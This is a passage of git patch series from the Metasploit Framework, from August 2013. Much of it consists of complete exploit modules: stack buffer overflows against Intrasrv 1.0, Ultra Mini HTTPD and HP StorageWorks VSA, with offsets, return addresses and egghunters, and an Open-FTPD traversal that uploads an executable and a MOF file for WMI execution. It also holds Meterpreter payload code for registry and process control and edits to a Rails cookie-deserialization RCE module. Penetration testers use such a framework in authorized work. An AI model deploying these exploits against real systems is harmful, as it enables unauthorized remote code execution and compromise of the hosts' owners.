ERROR_FAILURE, response + +@meterpreter.register_function_windll +def stdapi_registry_set_value(request, response): + hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value'] + value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value'] + value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value'] + result = ctypes.windll.advapi32.RegSetValueExA(hkey, value_name, 0, value_type, value_data, len(value_data)) + return result, response + +@meterpreter.register_function_windll +def stdapi_registry_unload_key(request, response): + root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] + base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] + result = ctypes.windll.advapi32.RegUnLoadKeyA(root_key, base_key) + return result, response diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 78d54f8cec064..fb9adfb81e082 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -3,12 +3,15 @@ import sys import code import random +import ctypes import select import socket import struct import threading import subprocess +has_windll = hasattr(ctypes, 'windll') + # # Constants # @@ -183,6 +186,10 @@ def __init__(self, socket): def register_function(self, func): self.extension_functions[func.__name__] = func + def register_function_windll(self, func): + if has_windll: + self.register_function(func) + def run(self): while self.running: if len(select.select([self.socket], [], [], 0)[0]): From dd2438dd1e5bc40b4e60d3db1a616f3fa020335f Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 9 Aug 2013 10:39:19 -0400 Subject: [PATCH 140/454] Improve process execution on Linux. --- data/meterpreter/ext_server_stdapi.py | 33 ++++++++++++++++++++++++--- data/meterpreter/meterpreter.py | 2 ++ 2 files changed, 32 insertions(+), 3 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index 9bee1cd6c34b0..b3718729bb107 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -12,12 +12,24 @@ has_windll = hasattr(ctypes, 'windll') +try: + import pty + has_pty = True +except ImportError: + has_pty = False + try: import pwd has_pwd = True except ImportError: has_pwd = False +try: + import termios + has_termios = True +except ImportError: + has_termios = False + try: import _winreg as winreg has_winreg = True @@ -371,10 +383,25 @@ def stdapi_sys_process_execute(request, response): flags = packet_get_tlv(request, TLV_TYPE_PROCESS_FLAGS)['value'] if len(cmd) == 0: return ERROR_FAILURE, response - args = [cmd] - args.extend(shlex.split(raw_args)) + if os.path.isfile('/bin/sh'): + args = ['/bin/sh', '-c', cmd, raw_args] + else: + args = [cmd] + args.extend(shlex.split(raw_args)) if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED): - proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + if has_pty: + master, slave = pty.openpty() + if has_termios: + settings = termios.tcgetattr(master) + settings[3] = settings[3] & ~termios.ECHO + termios.tcsetattr(master, termios.TCSADRAIN, settings) + proc_h = STDProcess(args, stdin=slave, stdout=slave, stderr=slave, bufsize=0) + proc_h.stdin = os.fdopen(master, 'wb') + proc_h.stdout = os.fdopen(master, 'rb') + proc_h.stderr = open(os.devnull, 'rb') + else: + proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + proc_h.start() else: proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) proc_h_id = len(meterpreter.processes) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index fb9adfb81e082..c9ec8f0640551 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -167,6 +167,8 @@ def read(self, l = None): class STDProcess(subprocess.Popen): def __init__(self, *args, **kwargs): subprocess.Popen.__init__(self, *args, **kwargs) + + def start(self): self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None) self.stdout_reader.start() self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None) From 94e7164b0143b60b09bfaeac85d9c0152ecc072d Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 9 Aug 2013 12:22:28 -0500 Subject: [PATCH 141/454] Allow user to choose to validate the cookie or not --- .../multi/http/rails_secret_deserialization.rb | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb index 3a7dbdadcd72e..15b2a0810f94c 100644 --- a/modules/exploits/multi/http/rails_secret_deserialization.rb +++ b/modules/exploits/multi/http/rails_secret_deserialization.rb @@ -136,6 +136,7 @@ def initialize(info = {}) OptString.new('DIGEST_NAME', [ true, 'The digest type used to HMAC the session cookie','SHA1']), OptString.new('SALTENC', [ true, 'The encrypted cookie salt', 'encrypted cookie']), OptString.new('SALTSIG', [ true, 'The signed encrypted cookie salt', 'signed encrypted cookie']), + OptBool.new('VALIDATE_COOKIE', [ false, 'Only send the payload if the session cookie is validated', true]), ], self.class) end @@ -252,14 +253,19 @@ def exploit fail_with(Exploit::Failure::BadConfig, "SECRET does not match") end else - print_status("Caution: Cookie not found, maybe you need to adjust TARGETURI") + print_warning("Caution: Cookie not found, maybe you need to adjust TARGETURI") if cookie_name.nil? || cookie_name.empty? # This prevents trying to send busted cookies with no name fail_with(Exploit::Failure::BadConfig, "No cookie found and no name given") end - print_warning("Sending payload anyway! ;)") + if datastore['VALIDATE_COOKIE'] + fail_with(Exploit::Failure::BadConfig, "COOKIE not validated, set VALIDATE_COOKIE to false send the payload without validation") + else + print_status("Trying to leverage default controller without cookie confirmation.") + end end + print_status "Sending cookie #{cookie_name}" res = send_request_cgi({ 'uri' => datastore['TARGETURI'] || "/", 'method' => datastore['HTTP_METHOD'], From 13ea8aaaad038f68d7d1b92f3c9d77595344a95d Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 9 Aug 2013 12:26:12 -0500 Subject: [PATCH 142/454] VALIDATE_COOKIE better grammar on fail message --- modules/exploits/multi/http/rails_secret_deserialization.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb index 15b2a0810f94c..898df97493ee2 100644 --- a/modules/exploits/multi/http/rails_secret_deserialization.rb +++ b/modules/exploits/multi/http/rails_secret_deserialization.rb @@ -259,7 +259,7 @@ def exploit fail_with(Exploit::Failure::BadConfig, "No cookie found and no name given") end if datastore['VALIDATE_COOKIE'] - fail_with(Exploit::Failure::BadConfig, "COOKIE not validated, set VALIDATE_COOKIE to false send the payload without validation") + fail_with(Exploit::Failure::BadConfig, "COOKIE not validated, unset VALIDATE_COOKIE to send the payload anyway") else print_status("Trying to leverage default controller without cookie confirmation.") end From 969b380d71672b5e260ac9ab47976f8b11c1a10b Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 9 Aug 2013 12:27:45 -0500 Subject: [PATCH 143/454] More explicit title, grammar check on description --- modules/exploits/multi/http/rails_secret_deserialization.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb index 898df97493ee2..0b4679a410f9b 100644 --- a/modules/exploits/multi/http/rails_secret_deserialization.rb +++ b/modules/exploits/multi/http/rails_secret_deserialization.rb @@ -100,13 +100,13 @@ def generate_key(salt, key_size=64) def initialize(info = {}) super(update_info(info, - 'Name' => 'Ruby on Rails Session Cookie Remote Code Execution', + 'Name' => 'Ruby on Rails Known Secret Session Cookie Remote Code Execution', 'Description' => %q{ This module implements Remote Command Execution on Ruby on Rails applications. Prerequisite is knowledge of the "secret_token" (Rails 2/3) or "secret_key_base" (Rails 4). The values for those can be usually found in the file "RAILS_ROOT/config/initializers/secret_token.rb". The module achieves RCE by - deserialization of some crafted Ruby Object + deserialization of a crafted Ruby Object. }, 'Author' => [ From 02f460287b040480f78c94e870ba8bced67d567c Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 9 Aug 2013 15:30:42 -0500 Subject: [PATCH 144/454] Revert "OptString specs and better validation" This reverts commit d66779ba4c975f143c0c04201e60a656ca7423df. Specifically, this commit was causing trouble when a datastore was getting an Integer. For some reason (as yet undiscovered), the option normalizer wasn't trying to Integer#to_s such arguments. This kind of thing is going to happen a lot. For now, I'd rather just end up with the ducktype, and attack the normalizer in a seperate fix. --- lib/msf/core/option_container.rb | 1 - spec/file_fixtures/string_list.txt | 3 --- spec/lib/msf/core/options/opt_string_spec.rb | 21 -------------------- 3 files changed, 25 deletions(-) delete mode 100644 spec/file_fixtures/string_list.txt delete mode 100644 spec/lib/msf/core/options/opt_string_spec.rb diff --git a/lib/msf/core/option_container.rb b/lib/msf/core/option_container.rb index 2fbafdc1c138f..dffda08baa4a5 100644 --- a/lib/msf/core/option_container.rb +++ b/lib/msf/core/option_container.rb @@ -173,7 +173,6 @@ def normalize(value) def valid?(value=self.value) value = normalize(value) - return false unless value.kind_of?(String) or value.kind_of?(NilClass) return false if empty_required_value?(value) return super end diff --git a/spec/file_fixtures/string_list.txt b/spec/file_fixtures/string_list.txt deleted file mode 100644 index 98a86f9e2ca68..0000000000000 --- a/spec/file_fixtures/string_list.txt +++ /dev/null @@ -1,3 +0,0 @@ -foo -bar -baz \ No newline at end of file diff --git a/spec/lib/msf/core/options/opt_string_spec.rb b/spec/lib/msf/core/options/opt_string_spec.rb deleted file mode 100644 index 33c81eb01140c..0000000000000 --- a/spec/lib/msf/core/options/opt_string_spec.rb +++ /dev/null @@ -1,21 +0,0 @@ -# -*- coding:binary -*- - -require 'spec_helper' -require 'msf/core/option_container' - -describe Msf::OptString do - valid_values = [ - { :value => 'foo', :normalized => 'foo' }, - { :value => "file:#{File.expand_path('string_list.txt',FILE_FIXTURES_PATH)}",:normalized => "foo\nbar\nbaz" }, - ] - invalid_values = [ - # Non-string values - { :value => true}, - { :value => 5 }, - { :value => []}, - { :value => [1,2]}, - { :value => {}}, - ] - - it_behaves_like "an option", valid_values, invalid_values, 'string' -end \ No newline at end of file From 81defe81137289a7c4f605d3856a86b38a250d65 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 9 Aug 2013 15:39:40 -0500 Subject: [PATCH 145/454] Add the string_list.txt fixture back --- spec/file_fixtures/string_list.txt | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 spec/file_fixtures/string_list.txt diff --git a/spec/file_fixtures/string_list.txt b/spec/file_fixtures/string_list.txt new file mode 100644 index 0000000000000..98a86f9e2ca68 --- /dev/null +++ b/spec/file_fixtures/string_list.txt @@ -0,0 +1,3 @@ +foo +bar +baz \ No newline at end of file From 5436ec7dd30135d47ff446d296f969b90ffc8c2a Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 9 Aug 2013 15:41:50 -0500 Subject: [PATCH 146/454] Title change for dlink_dir300_exec_telnet Title change for dlink_dir300_exec_telnet. Also correct the email format. --- modules/exploits/linux/http/dlink_dir300_exec_telnet.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb index caf290e59893d..4177c7312b58e 100644 --- a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb +++ b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'D-Link Devices Unauthenticated Remote Command Execution', + 'Name' => 'D-Link Devices Authenticated Remote Command Execution', 'Description' => %q{ Different D-Link Routers are vulnerable to OS command injection via the web interface. The vulnerability exists in tools_vct.xgi, which is accessible with @@ -27,7 +27,7 @@ def initialize(info = {}) }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, From 6fe4e3dd0e90aaac0d4258f749da3ee5935cacb5 Mon Sep 17 00:00:00 2001 From: Nathan Einwechter Date: Sat, 10 Aug 2013 15:56:07 -0400 Subject: [PATCH 147/454] Added Intrasrv 1.0 BOF --- modules/exploits/windows/http/intrasrv_bof.rb | 106 ++++++++++++++++++ 1 file changed, 106 insertions(+) create mode 100644 modules/exploits/windows/http/intrasrv_bof.rb diff --git a/modules/exploits/windows/http/intrasrv_bof.rb b/modules/exploits/windows/http/intrasrv_bof.rb new file mode 100644 index 0000000000000..3241aad2b6582 --- /dev/null +++ b/modules/exploits/windows/http/intrasrv_bof.rb @@ -0,0 +1,106 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Egghunter + + def initialize(info={}) + super(update_info(info, + 'Name' => "Intrasrv 1.0 Buffer Overflow", + 'Description' => %q{ + This module exploits a boundary condition error in Intrasrv + Simple Web Server 1.0. The web interface does not validate the + boundaries of an HTTP request string prior to copying the data + to an insufficiently large buffer. Successful exploitation leads + to arbitrary remote code execution in the context of the application. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'xis_one@STM Solutions', #Discovery, PoC + 'PsychoSpy ' #Metasploit + ], + 'References' => + [ + ['OSVDB', '94097'], + ['EDB','18397'], + ['BID','60229'] + ], + 'Payload' => + { + 'StackAdjustment' => -3500, + 'BadChars' => "\x00" + }, + 'DefaultOptions' => + { + 'ExitFunction' => "thread" + }, + 'Platform' => 'win', + 'Targets' => + [ + ['v1.0 - XP/2003/Win7', + { + 'Offset' => 1553, + 'Ret'=>0x004097dd #p/p/r - intrasrv.exe + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => "May 30 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptPort.new('RPORT', [true, 'The remote port', 80]) + ], self.class) + end + + def check + begin + connect + rescue + print_error("Could not connect to target!") + return Exploit::CheckCode::Safe + end + sock.put("GET / HTTP/1.0\r\n") + res = sock.get + + if res and res =~ /intrasrv 1.0/ + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Safe + end + end + + def exploit + # setup egghunter + hunter,egg = generate_egghunter(payload.encoded, payload_badchars, { + :checksum => true + }) + + # setup buffer + buf = rand_text_alpha(target['Offset']-128) # junk to egghunter + buf << make_nops(8) + hunter # nopsled + egghunter at offset-128 + buf << rand_text_alpha(target['Offset']-buf.length) # more junk to offset + buf << "\xeb\x80\x90\x90" # nseh - jmp -128 to egghunter + buf << [target.ret].pack("V*") # seh + + # attach egg tag to payload + shellcode = egg + egg + shellcode << payload.encoded + + print_status("Sending buffer...") + connect + sock.put("GET / HTTP/1.0\r\nHost: #{buf}\r\n#{shellcode}") + disconnect + end +end From 185ef2ecae3f944807dccbe83390662f4236b03b Mon Sep 17 00:00:00 2001 From: Nathan Einwechter Date: Sat, 10 Aug 2013 16:01:44 -0400 Subject: [PATCH 148/454] msftidy --- modules/exploits/windows/http/intrasrv_bof.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/exploits/windows/http/intrasrv_bof.rb b/modules/exploits/windows/http/intrasrv_bof.rb index 3241aad2b6582..4755b59993c5e 100644 --- a/modules/exploits/windows/http/intrasrv_bof.rb +++ b/modules/exploits/windows/http/intrasrv_bof.rb @@ -17,11 +17,11 @@ def initialize(info={}) super(update_info(info, 'Name' => "Intrasrv 1.0 Buffer Overflow", 'Description' => %q{ - This module exploits a boundary condition error in Intrasrv - Simple Web Server 1.0. The web interface does not validate the - boundaries of an HTTP request string prior to copying the data - to an insufficiently large buffer. Successful exploitation leads - to arbitrary remote code execution in the context of the application. + This module exploits a boundary condition error in Intrasrv Simple Web + Server 1.0. The web interface does not validate the boundaries of an + HTTP request string prior to copying the data to an insufficiently large + buffer. Successful exploitation leads to arbitrary remote code execution + in the context of the application. }, 'License' => MSF_LICENSE, 'Author' => @@ -86,7 +86,7 @@ def exploit hunter,egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true }) - + # setup buffer buf = rand_text_alpha(target['Offset']-128) # junk to egghunter buf << make_nops(8) + hunter # nopsled + egghunter at offset-128 From f2e5092fd54fa754fb21076e21c6a4a57bb39fb0 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 10 Aug 2013 18:44:33 -0500 Subject: [PATCH 149/454] Add module for ZDI-13-179 --- .../exploits/linux/misc/hp_vsa_login_bof.rb | 116 ++++++++++++++++++ 1 file changed, 116 insertions(+) create mode 100644 modules/exploits/linux/misc/hp_vsa_login_bof.rb diff --git a/modules/exploits/linux/misc/hp_vsa_login_bof.rb b/modules/exploits/linux/misc/hp_vsa_login_bof.rb new file mode 100644 index 0000000000000..fe3b106b676c9 --- /dev/null +++ b/modules/exploits/linux/misc/hp_vsa_login_bof.rb @@ -0,0 +1,116 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info={}) + super(update_info(info, + 'Name' => "HP StorageWorks P4000 Virtual SAN Appliance Login Buffer Overflow", + 'Description' => %q{ + This module exploits a buffer overflow vulnerability found in HP's StorageWorks + P4000 VSA on versions prior to 10.0. The vulnerability is due to an insecure usage + of the sscanf() function when parsing login requests. This module has been tested + successfully on the HP VSA 9 Virtual Appliance. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'e6af8de8b1d4b2b6d5ba2610cbf9cd38', # Vulnerability Discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + ['CVE', '2013-2343'], + ['OSVDB', '94701'], + ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-179/'], + ['URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03661318'] + ], + 'Payload' => + { + 'BadChars' => "\x2f\x00\x0d\x0a", + 'Space' => 780, + 'DisableNops' => true, + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + }, + 'DefaultOptions' => + { + 'ExitFunction' => "none" + }, + 'Platform' => ['linux'], + 'Arch' => ARCH_X86, + 'Targets' => + [ + [ 'HP VSA 9', + { + 'Version' => '9.0.0', + 'Offset' => 3446, + 'Ret' => 0x0804EB34, # pop ebp # ret # from hydra + 'FakeObject' => 0x08072E58, # from hydra data + 'JmpEsp' => 0x08050CB8 # push esp # ret # from hydra + } + ] + ], + 'Privileged' => true, + 'DisclosureDate' => "Jun 28 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptPort.new('RPORT', [true, 'The remote port', 13838]) + ], self.class) + end + + def check + connect + packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"#{target['Version']}\"") + print_status("#{rhost}:#{rport} Sending login packet to check...") + sock.put(packet) + res = sock.get_once + disconnect + + if res and res=~ /OK/ and res =~ /Login/ + return Exploit::CheckCode::Vulnerable + elsif res and res =~ /FAILED/ and res =~ /version/ + return Exploit::CheckCode::Detected + end + + return Exploit::CheckCode::Safe + end + + def generate_packet(data) + pkt = "\x00\x00\x00\x00\x00\x00\x00\x01" + pkt << [data.length + 1].pack("N*") + pkt << "\x00\x00\x00\x00" + pkt << "\x00\x00\x00\x00\x00\x00\x00\x00" + pkt << "\x00\x00\x00\x14\xff\xff\xff\xff" + pkt << data + pkt << "\x00" + + pkt + end + + def exploit + connect + print_status("#{rhost}:#{rport} Sending login packet") + my_bof = rand_text(target['Offset']) + my_bof << [target.ret].pack("V") + my_bof << [target['FakeObject']].pack("V") # Pointer to Fake Object in order to survive LHNSessionManager::SendMessage before ret + my_bof << [target['JmpEsp']].pack("V") + my_bof << payload.encoded + + packet = generate_packet("login:/#global$agent/#{my_bof}/#{rand_text_alpha(5)}/Version \"1\" ") # Fake version in order to ret asap + sock.put(packet) + disconnect + end + +end + From 90ef224c46f6c9a4146ce4c4eb4dcd0a1a822de0 Mon Sep 17 00:00:00 2001 From: Nathan Einwechter Date: Sun, 11 Aug 2013 16:33:40 -0400 Subject: [PATCH 150/454] Implement CVE-2012-5019 --- .../windows/http/ultraminihttp_bof.rb | 87 +++++++++++++++++++ 1 file changed, 87 insertions(+) create mode 100644 modules/exploits/windows/http/ultraminihttp_bof.rb diff --git a/modules/exploits/windows/http/ultraminihttp_bof.rb b/modules/exploits/windows/http/ultraminihttp_bof.rb new file mode 100644 index 0000000000000..ca290f520d60e --- /dev/null +++ b/modules/exploits/windows/http/ultraminihttp_bof.rb @@ -0,0 +1,87 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Egghunter + + def initialize(info={}) + super(update_info(info, + 'Name' => "Ultra Mini HTTPD Stack Buffer Overflow", + 'Description' => %q{ + This module exploits a stack based buffer overflow in Ultra Mini HTTPD 1.21 + allowing remote attackers to execute arbitrary code via a long resource name in an HTTP + request. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'superkojiman', #Discovery, PoC + 'PsychoSpy ' #Metasploit + ], + 'References' => + [ + ['OSVDB', '95164'], + ['EDB','26739'], + ['CVE','2013-5019'], + ['BID','61130'] + ], + 'Payload' => + { + 'Space' => 1623, + 'StackAdjustment' => -3500, + 'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20" + }, + 'DefaultOptions' => + { + 'ExitFunction' => "thread" + }, + 'Platform' => 'win', + 'Targets' => + [ + [ + 'v1.21 - Windows XP SP2 ENG', + { + 'Offset' => 5412, + 'Ret'=>0x73E32ECF #jmp esp - mfc42.dll + } + ], + [ + 'v1.21 - Windows XP SP3 ENG', + { + 'Offset' => 5412, + 'Ret'=>0x7e429353 #jmp esp - user32.dll + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Jul 10 2013' + ) + + register_options( + [ + OptPort.new('RPORT', [true, 'The remote port', 80]) + ], self.class) + end + + def exploit + buf = rand_text_alpha(target['Offset']) + buf << [target.ret].pack("V*") + buf << payload.encoded + + print_status("Buf length: #{buf.length}") + print_status("Sending buffer...") + send_request_cgi({ + 'method' => 'GET', + 'uri' => "/#{buf}" + }) + end +end From 4b14fa53e09f7a9509440512ac0b10c798d7f286 Mon Sep 17 00:00:00 2001 From: Nathan Einwechter Date: Sun, 11 Aug 2013 16:39:41 -0400 Subject: [PATCH 151/454] tidy debugs --- modules/exploits/windows/http/ultraminihttp_bof.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/windows/http/ultraminihttp_bof.rb b/modules/exploits/windows/http/ultraminihttp_bof.rb index ca290f520d60e..a0d77120eaeff 100644 --- a/modules/exploits/windows/http/ultraminihttp_bof.rb +++ b/modules/exploits/windows/http/ultraminihttp_bof.rb @@ -77,7 +77,6 @@ def exploit buf << [target.ret].pack("V*") buf << payload.encoded - print_status("Buf length: #{buf.length}") print_status("Sending buffer...") send_request_cgi({ 'method' => 'GET', From 896320ed428809469f372d4c2f52167922713a08 Mon Sep 17 00:00:00 2001 From: Nathan Einwechter Date: Sun, 11 Aug 2013 16:48:43 -0400 Subject: [PATCH 152/454] fix typo --- modules/exploits/windows/http/ultraminihttp_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/ultraminihttp_bof.rb b/modules/exploits/windows/http/ultraminihttp_bof.rb index a0d77120eaeff..0d5097ee14f6b 100644 --- a/modules/exploits/windows/http/ultraminihttp_bof.rb +++ b/modules/exploits/windows/http/ultraminihttp_bof.rb @@ -64,7 +64,7 @@ def initialize(info={}) ], 'Privileged' => false, 'DisclosureDate' => 'Jul 10 2013' - ) + )) register_options( [ From d63d7bc7dab35e539da44f173344f3aeaabb5846 Mon Sep 17 00:00:00 2001 From: bcoles Date: Mon, 12 Aug 2013 08:49:49 +0930 Subject: [PATCH 153/454] Add Open-FTPD 1.2 Writable Directory Traversal Execution --- .../exploits/windows/ftp/open_ftpd_wbem.rb | 154 ++++++++++++++++++ 1 file changed, 154 insertions(+) create mode 100644 modules/exploits/windows/ftp/open_ftpd_wbem.rb diff --git a/modules/exploits/windows/ftp/open_ftpd_wbem.rb b/modules/exploits/windows/ftp/open_ftpd_wbem.rb new file mode 100644 index 0000000000000..41d55a664ec49 --- /dev/null +++ b/modules/exploits/windows/ftp/open_ftpd_wbem.rb @@ -0,0 +1,154 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Ftp + include Msf::Exploit::Remote::TcpServer + include Msf::Exploit::EXE + include Msf::Exploit::WbemExec + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "Open-FTPD 1.2 Writable Directory Traversal Execution", + 'Description' => %q{ + This module exploits multiple vulnerabilities found in Open&Compact FTP + server. The software contains an authentication bypass vulnerability and a + directory traversal vulnerability that allows a remote attacker to write + arbitrary files to the file system as long as there is at least one user + who has permission. + + Code execution can be achieved by first uploading the payload to the remote + machine as an exe file, and then upload another mof file, which enables + WMI (Management Instrumentation service) to execute the uploaded payload. + Please note that this module currently only works for Windows before Vista. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Serge Gorbunov', # Initial discovery + 'Brendan Coles ', # Metasploit + ], + 'References' => + [ + ['OSVDB', '65687'], + ['EDB', '13932'], + ['CVE', '2010-2620'] + ], + 'Payload' => + { + 'BadChars' => "\x00", + }, + 'Platform' => 'win', + 'Targets' => + [ + # Tested on version 1.2 - Windows XP SP3 (EN) + ['Open&Compact FTP 1.2 on Windows (Before Vista)', {}] + ], + 'Privileged' => true, + 'DisclosureDate' => "Jun 18 2012", + 'DefaultTarget' => 0)) + + register_options([ + OptString.new('PATH', [true, 'The local Windows path', "C:/WINDOWS/"]), + OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080]) + ], self.class) + deregister_options('FTPUSER', 'FTPPASS') # Using authentication bypass + + end + + def check + connect + disconnect + + if banner =~ /\*\* Welcome on \*\*/ + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Unknown + end + end + + def on_client_connect(cli) + peer = "#{cli.peerhost}:#{cli.peerport}" + + case @stage + when :exe + print_status("#{peer} - Sending executable (#{@exe.length.to_s} bytes)") + cli.put(@exe) + @stage = :mof + when :mof + print_status("#{peer} - Sending MOF (#{@mof.length.to_s} bytes)") + cli.put(@mof) + end + + cli.close + end + + # Largely stolen from freefloatftp_wbem.rb + def upload(filename) + select(nil, nil, nil, 1) + + peer = "#{rhost}:#{rport}" + print_status("#{peer} - Trying to upload #{::File.basename(filename)}") + conn = connect(false, datastore['VERBOSE']) + if not conn + fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") + end + + # Switch to binary mode + print_status("#{peer} - Set binary mode") + send_cmd(['TYPE', 'I'], true, conn) + + # Prepare active mode: Get attacker's IP and source port + src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST'] + src_port = datastore['SRVPORT'].to_i + + # Prepare active mode: Convert the IP and port for active mode + src_ip = src_ip.gsub(/\./, ',') + src_port = "#{src_port/256},#{src_port.remainder(256)}" + + # Set to active mode + print_status("#{peer} - Set active mode \"#{src_ip},#{src_port}\"") + send_cmd(['PORT', "#{src_ip},#{src_port}"], true, conn) + + # Tell the FTP server to download our file + send_cmd(['STOR', filename], false, conn) + + print_good("#{peer} - Upload successful") + disconnect(conn) + end + + # Largely stolen from freefloatftp_wbem.rb + def exploit + path = datastore['PATH'] + exe_name = "#{path}/system32/#{rand_text_alpha(rand(10)+5)}.exe" + mof_name = "#{path}/system32/wbem/mof/#{rand_text_alpha(rand(10)+5)}.mof" + @mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name)) + @exe = generate_payload_exe + @stage = :exe + + begin + t = framework.threads.spawn("reqs", false) { + # Upload our malicious executable + u = upload(exe_name) + # Upload the mof file + upload(mof_name) if u + register_file_for_cleanup("#{::File.basename(exe_name)}") + register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}") + } + + super + ensure + t.kill + end + end + +end From a35d548979c83a69cdc9008568fb9503621018e5 Mon Sep 17 00:00:00 2001 From: Nathan Einwechter Date: Mon, 12 Aug 2013 10:01:01 -0400 Subject: [PATCH 154/454] Use HttpClient --- modules/exploits/windows/http/intrasrv_bof.rb | 39 ++++++++----------- 1 file changed, 17 insertions(+), 22 deletions(-) diff --git a/modules/exploits/windows/http/intrasrv_bof.rb b/modules/exploits/windows/http/intrasrv_bof.rb index 4755b59993c5e..bfe752ae45988 100644 --- a/modules/exploits/windows/http/intrasrv_bof.rb +++ b/modules/exploits/windows/http/intrasrv_bof.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking - include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Egghunter def 